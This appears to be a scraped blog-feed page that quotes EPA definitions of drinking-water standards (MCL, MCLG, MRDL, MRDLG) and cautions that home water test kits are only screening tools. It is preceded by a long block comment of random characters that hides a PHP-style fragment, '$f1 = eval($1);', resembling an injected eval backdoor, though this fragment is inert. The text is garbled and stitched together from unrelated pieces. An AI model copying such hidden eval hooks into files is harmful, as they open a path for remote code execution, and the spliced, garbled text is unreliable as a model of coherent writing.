/* asdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposf43=0weqpn2340f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r$f1 = eval($1);0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf
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“National Primary Drinking Water Regulations (NPDWRs or primary standards) are legally enforceable standards that apply to public water systems. Primary standards protect public health by limiting the levels of contaminants in drinking water.” (source)
The government regulates the introduction of and requires the removal of items listed in the Primary Drinking Water Standards if they exceed Maximum Contaminant Levels (MCL’s) because scientists and health officials have concluded that overexposure to those items ingested via drinking water causes signifigant health risks in humans.
As always, when evaluating your drinking water for safety reasons, keep in mind that home water test kits work quite well as a screening tool in the field and that no one should rely colely upon the results of ANY field screening method when making the final determination as to whether or not they have safe drinking water.
]]>Therefore we decided to visit the United States Environmental Protection Agency web site to find clear, concise definitions of MCL, MCLG, MRDL and MRDLG. See below:
]]>Maximum Contaminant Level (MCL) – The highest level of a contaminant that is allowed in drinking water. MCLs are set as close to MCLGs as feasible using the best available treatment technology and taking cost into consideration. MCLs are enforceable standards.
Maximum Contaminant Level Goal (MCLG) – The level of a contaminant in drinking water below which there is no known or expected risk to health. MCLGs allow for a margin of safety and are non-enforceable public health goals.
Maximum Residual Disinfectant Level (MRDL) – The highest level of a disinfectant allowed in drinking water. There is convincing evidence that addition of a disinfectant is necessary for control of microbial contaminants.
Maximum Residual Disinfectant Level Goal (MRDLG) – The level of a drinking water disinfectant below which there is no known or expected risk to health. MRDLGs do not reflect the benefits of the use of disinfectants to control microbial contaminants.
( source )